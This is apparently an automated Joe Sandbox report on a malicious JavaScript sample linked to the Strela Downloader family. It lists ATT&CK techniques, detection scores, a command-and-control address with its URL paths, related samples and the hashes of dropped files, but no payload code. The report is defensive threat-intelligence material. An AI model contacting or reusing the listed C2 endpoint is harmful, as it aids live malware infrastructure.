Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
434027412290322097.js	5%	Virustotal		Browse
434027412290322097.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/sg5	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/w	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2757444754.0000019919A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1532724829.0000019919950000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/sg5	net.exe, 00000007.00000002.1531835624.0000018CEA0D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/w	net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1531835624.0000018CEA0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA0FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA12E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588275
Start date and time:	2025-01-10 23:20:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	434027412290322097.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 4.175.87.197, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:21:35	API Interceptor	22x Sleep call for process: powershell.exe modified
17:21:39	API Interceptor	1x Sleep call for process: net.exe modified
17:21:39	API Interceptor	2x Sleep call for process: svchost.exe modified
17:21:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022126435385999
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAD:RJE+Lfki1GjHwU/+vVhWqpC
MD5:	D7EA65B02C26CCA29E3F131082700387
SHA1:	5E437860D87B7CE388F0C44888858C8AC33015BD
SHA-256:	9D8E5907D88A0E1D2D5FFD96F3921EDF29D7200960107EFF9932709B29BAC4C1
SHA-512:	9642DA6D2143C0BC66C1906ED6827B4038620A2EADEE35E88FB471940004B0D770950F0AD5BE1BDF53ECEA7B2352527FBB29A5F864C32318281797E45530504A
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9d8ca3d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433651016945936
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	6FC9A15F61C7295087313062E8D7F2A4
SHA1:	14654033B2A8D0CD40DC65C292BF31CC03932783
SHA-256:	B80606403D4527F020B07584C5B4B7998A19C3E69C1487EB6979A50DCCACDE30
SHA-512:	A3A3F9E797CD70D8A1B67754F76A01DD5BDFE9083487DED06EE4EAFAB2D5290C6EB49658F0DEDFC9BA02085F7CBE018BBC60850D8C331BD0C28DBF5187B001C8
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s.'....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.................................. [.d'....}.................3...'....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08170579401024922
Encrypted:	false
SSDEEP:	3:G/8Ye1GvGnFtqll/nqlFcl1ZUllll6G8TllYllGBnX/l/Tj/k7/t:28z1BXqll/qlFclQ/lse254
MD5:	CA5ADB257EC8B04400FC9AE4EDA2AC24
SHA1:	43157212A64EC73CD984E93969560A786280D288
SHA-256:	71A3F55036674227458262C7196FA2DF92D75DCB7D6C7391EF1A25E414419AB1
SHA-512:	5DAFD86C276BF2C7DA113978F79D5E9BD2DBD45489D7CF19A59115AA783B68CD5108ED6FAA097380EAFBEFA65DFE6424BB285DEEF508F24222263ADB00FDB1F0
Malicious:	false
Preview:	.R.......................................;...{..'....}... ...{s.......... ...{s.. ...{s.P.... ...{s.................3...'....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.160960251539429
Encrypted:	false
SSDEEP:	6:iO4UI+q2PCHhJ2nKuAl9OmbnIFUtS7EWZmwshIVkwOCHhJ2nKuAl9OmbjLJ:7E+vBHAahFUt9W/FV56HAaSJ
MD5:	B27EB0E38E0BECAFBC2A3AEB08B95B8A
SHA1:	2BD25F9CBB0E96EB7111F8522B7EDF3DA51F6A22
SHA-256:	737096C3D9FE15607C01526B669767297A1E834B50F71F9BDA3B596297233AAF
SHA-512:	EA46F43F8975D6A8341294E0406D7702A824CDB25450B2F846D429ADD2A75789078CBA49257059D706679DBDCF85FD300CD5BF204E9204EA5C1890A6B937DE75
Malicious:	false
Preview:	2025/01/10-17:21:39.137 1a2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:21:39.140 1a2c Recovering log #3.2025/01/10-17:21:39.141 1a2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.160960251539429
Encrypted:	false
SSDEEP:	6:iO4UI+q2PCHhJ2nKuAl9OmbnIFUtS7EWZmwshIVkwOCHhJ2nKuAl9OmbjLJ:7E+vBHAahFUt9W/FV56HAaSJ
MD5:	B27EB0E38E0BECAFBC2A3AEB08B95B8A
SHA1:	2BD25F9CBB0E96EB7111F8522B7EDF3DA51F6A22
SHA-256:	737096C3D9FE15607C01526B669767297A1E834B50F71F9BDA3B596297233AAF
SHA-512:	EA46F43F8975D6A8341294E0406D7702A824CDB25450B2F846D429ADD2A75789078CBA49257059D706679DBDCF85FD300CD5BF204E9204EA5C1890A6B937DE75
Malicious:	false
Preview:	2025/01/10-17:21:39.137 1a2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:21:39.140 1a2c Recovering log #3.2025/01/10-17:21:39.141 1a2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.16778272994645
Encrypted:	false
SSDEEP:	6:iO43Mq2PCHhJ2nKuAl9Ombzo2jMGIFUtSTXZmwsTFkwOCHhJ2nKuAl9Ombzo2jM4:74MvBHAa8uFUtwX/6F56HAa8RJ
MD5:	7271AB18F67073F232D4577163D3A0FD
SHA1:	5702512988116B2CA5515EFE1B05D204CFCA53E3
SHA-256:	5FE66531C6C45E1474D50DF8B83AB90BD69FFD5EF175676F1849C61E84A7D393
SHA-512:	8C96B2BEF08DFC8E4814C4C871B8EA2B24334F692D57BACB8B7696399AE0F806992A6662D27929DFDB19B630E594D92D9650E37A126810A4E660ECB4FC7C5DD2
Malicious:	false
Preview:	2025/01/10-17:21:39.250 ab4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:21:39.252 ab4 Recovering log #3.2025/01/10-17:21:39.252 ab4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.16778272994645
Encrypted:	false
SSDEEP:	6:iO43Mq2PCHhJ2nKuAl9Ombzo2jMGIFUtSTXZmwsTFkwOCHhJ2nKuAl9Ombzo2jM4:74MvBHAa8uFUtwX/6F56HAa8RJ
MD5:	7271AB18F67073F232D4577163D3A0FD
SHA1:	5702512988116B2CA5515EFE1B05D204CFCA53E3
SHA-256:	5FE66531C6C45E1474D50DF8B83AB90BD69FFD5EF175676F1849C61E84A7D393
SHA-512:	8C96B2BEF08DFC8E4814C4C871B8EA2B24334F692D57BACB8B7696399AE0F806992A6662D27929DFDB19B630E594D92D9650E37A126810A4E660ECB4FC7C5DD2
Malicious:	false
Preview:	2025/01/10-17:21:39.250 ab4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:21:39.252 ab4 Recovering log #3.2025/01/10-17:21:39.252 ab4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.968137574824206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq5SsBdOg2HQcaq3QYiub6P7E4T3y:Y2sRdsQdMHb3QYhbS7nby
MD5:	81CE4F205E08538D8A074A3C6B3EC7E2
SHA1:	54D92907058690060C7F2FC3C56A9F9859988BFC
SHA-256:	325F52AAF189C56AFBEBA463055D1F6DBC58C0943F33E3F78FF072F053255CE3
SHA-512:	99EF4D42ABC64C0755ACD1D3BB4A8F490E145C8FAEF766ADAAC0F0D1D8224B574F6C46A121F99D61171104E87D0AE9E687D2B9271E3F43738F17C9DE4F90B305
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107710973973","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128786},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a619564b-a2b4-43ce-a852-c44e49f5c7c2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968137574824206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq5SsBdOg2HQcaq3QYiub6P7E4T3y:Y2sRdsQdMHb3QYhbS7nby
MD5:	81CE4F205E08538D8A074A3C6B3EC7E2
SHA1:	54D92907058690060C7F2FC3C56A9F9859988BFC
SHA-256:	325F52AAF189C56AFBEBA463055D1F6DBC58C0943F33E3F78FF072F053255CE3
SHA-512:	99EF4D42ABC64C0755ACD1D3BB4A8F490E145C8FAEF766ADAAC0F0D1D8224B574F6C46A121F99D61171104E87D0AE9E687D2B9271E3F43738F17C9DE4F90B305
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107710973973","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128786},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237339086778546
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bVOM/2p:S43C4mS7fFi0KFYDjr3LWO3V3aw+bcMC
MD5:	03E1548F25E47C109E8403E4963A0344
SHA1:	E1233CDEC6CE4D90103466DF2153CB102631B4A2
SHA-256:	7C46B169E011A3697625EBB183228FAB4904D175C48EFC4CA92BAC484F4AAB68
SHA-512:	5F129677BBFA702CCC9EBADACC250FD10EFE4D761FADCBD36C3165E6D230B8317E9F52DE628AB7D1BED30D0E6693F9D55894DD4EBE8A4F492B5FBA5C3F7F54D0
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.21370683138382
Encrypted:	false
SSDEEP:	6:iO4kcOq2PCHhJ2nKuAl9OmbzNMxIFUtSq49ZmwsHDzkwOCHhJ2nKuAl9OmbzNMFd:7NtvBHAa8jFUtW9/Kv56HAa84J
MD5:	7E15B812D909E4FB779B14B0D23A1655
SHA1:	38E507B66BB7C35C05CB285947F6F8375A591F76
SHA-256:	BFFE1583434C97702A05C76D435F4A5298505AFD215246804D429B94DEF156BA
SHA-512:	4A662074648155194845A702DE98646953C2E7D0C4D06A3DDBF3E92052F5E3CA9EA60EA93ECBC6FDA9CB04DD02D3FB2A36B5E8077752463984E1F8CD787688CB
Malicious:	false
Preview:	2025/01/10-17:21:39.357 ab4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:21:39.359 ab4 Recovering log #3.2025/01/10-17:21:39.360 ab4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.21370683138382
Encrypted:	false
SSDEEP:	6:iO4kcOq2PCHhJ2nKuAl9OmbzNMxIFUtSq49ZmwsHDzkwOCHhJ2nKuAl9OmbzNMFd:7NtvBHAa8jFUtW9/Kv56HAa84J
MD5:	7E15B812D909E4FB779B14B0D23A1655
SHA1:	38E507B66BB7C35C05CB285947F6F8375A591F76
SHA-256:	BFFE1583434C97702A05C76D435F4A5298505AFD215246804D429B94DEF156BA
SHA-512:	4A662074648155194845A702DE98646953C2E7D0C4D06A3DDBF3E92052F5E3CA9EA60EA93ECBC6FDA9CB04DD02D3FB2A36B5E8077752463984E1F8CD787688CB
Malicious:	false
Preview:	2025/01/10-17:21:39.357 ab4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:21:39.359 ab4 Recovering log #3.2025/01/10-17:21:39.360 ab4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
